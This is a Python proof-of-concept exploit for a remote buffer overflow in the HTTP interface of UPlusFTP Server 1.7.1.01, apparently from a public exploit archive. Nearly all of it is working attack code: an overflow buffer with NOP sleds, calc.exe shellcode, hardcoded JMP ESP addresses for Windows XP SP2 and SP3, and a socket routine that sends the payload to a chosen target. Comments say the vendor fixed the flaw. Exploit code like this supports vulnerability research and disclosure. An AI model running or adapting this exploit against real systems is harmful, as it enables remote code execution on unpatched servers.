UPlusFTP Server 1.7.1.01 Buffer Overflow

`#!/usr/bin/python  
import socket,sys,base64  
  
print """  
#  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
UPlusFTP Server v1.7.1.01 [ HTTP ] Remote BoF Exploit PoC  
Discovered by : Karn Ganeshen   
Author : Karn Ganeshen / corelanc0d3r  
  
KarnGaneshen [aT] gmail [d0t] com   
http://ipositivesecurity.blogspot.com  
  
Greetz out to: corelanc0d3r  
http://corelan.be:8800/index.php  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
#  
"""  
  
# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]  
# Date Found : July 21, 2010  
# Vendor notified on July 23, 2010  
# Issue fixed and new version 1.7.1.02 released on July 23, 2010  
  
if len(sys.argv) != 5:  
print "Usage: ./poc.py <Target IP> <Port> <User> <Password>"  
sys.exit(1)  
  
target = sys.argv[1]  
port = int(sys.argv[2])  
user = sys.argv[3]  
pwd = sys.argv[4]  
  
auth = base64.b64encode(user+":"+pwd)  
  
buf="A"*1963  
buf+="\x90"*179  
  
# 165 bytes Calc.exe shellcode / badchars identified and excluded  
buf+=("\xd9\xca\x29\xc9\xb1\x24\xbf\x3f\xc7\x66\x9f\xd9\x74\x24\xf4\x5e"  
"\x31\x7e\x17\x03\x7e\x17\x83\xf9\xc3\x84\x6a\xf9\x24\x0c\x95\x01"  
"\xb5\x06\xd0\x3d\x3e\x64\xde\x45\x41\x7a\x6b\xfa\x59\x0f\x33\x24"  
"\x5b\xe4\x85\xaf\x6f\x71\x14\x41\xbe\x45\x8e\x31\x45\x85\xc5\x4e"  
"\x87\xcc\x2b\x51\xc5\x3a\xc7\x6a\x9d\x98\x2c\xf9\xf8\x6a\x73\x25"  
"\x02\x86\xea\xae\x08\x13\x78\xef\x0c\xa2\x95\x84\x31\x2f\x68\x71"  
"\xc0\x73\x4f\x81\x10\xba\x4f\xed\x1d\xfd\x7f\x68\xe1\x86\x73\xf9"  
"\xa2\x7a\x07\x8d\x3e\x2e\x9c\x05\x37\xdb\xaa\x5e\xc7\xab\xad\x60"  
"\xc8\x40\xc5\x5c\x97\x67\xe0\xfc\x71\x01\xf4\x7f\xbd\x6a\x55\x17"  
"\xce\x07\x51\xb8\x46\x80\xa4\xcc\x99\xe7\xa7\x37\xc6\x66\x34\xd4"  
"\x27\x0c\xbc\x7f\x38")  
  
buf+="\x90"*15  
  
#[ XP SP2 ] -> "\x78\x16\xF3\x77" #0x77F31678 JMP ESP  
buf+="\x78\x16\xF3\x77"  
  
#[ XP SP3 ] -> "\x3F\x71\x49\x7E" #0x7E49713F JMP ESP  
#buf+="\x3F\x71\x49\x7E"  
  
buf+="\x90"*30  
buf+="\x66\x05\x7A\x03" #ADD AX,037A  
buf+="\x66\x05\x7A\x03" #ADD AX,037A  
buf+="\x66\x05\x7A\x03" #ADD AX,037A  
buf+="\x50\xc3" #PUSH EAX + RET  
  
print "[+] Launching exploit against " + target + "..."  
  
head = "GET /list.html?path="+buf+" HTTP/1.1 \r\n"  
head += "Host: \r\n"  
head += "Authorization: Basic "+auth+"\r\n"  
  
try:  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((target, port))  
s.send(head + "\r\n")  
print "[!] Payload sent..."  
s.close()  
except:  
print "[x] Error!"  
  
  
`